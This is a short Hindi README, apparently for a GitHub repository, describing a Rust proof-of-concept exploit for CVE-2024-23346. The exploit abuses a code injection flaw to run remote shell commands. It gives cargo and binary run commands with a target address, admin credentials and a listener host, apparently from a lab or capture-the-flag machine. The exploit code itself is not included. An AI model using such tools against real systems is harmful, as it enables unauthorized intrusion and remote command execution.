CVE-2024-23346-rust-exploit

CVE-2024-23346 के लिए एक रस्ट शोषण स्क्रिप्ट।

जैसा कि नीचे दिखाया गया है, POC कोड इंजेक्शन कमजोरी का उपयोग करता है और टर्मिनल की तरह दूरस्थ शेल कमांड चलाता है।

poc.webm

---

शोषण चलाने के चरण:

• सीधे Cargo से चलाएँ
  • cargo run -- --help
  • cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

या

• बाइनरी संकलित करें: cargo build -r (बाइनरी target/release/poc में होगी)
• बाइनरी चलाएँ:
  • ./poc --help
  • ./poc --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

---

शोषण स्क्रिप्ट पायथन स्क्रिप्टिंग एक्सपर्ट MAWK0235 से प्रेरित है।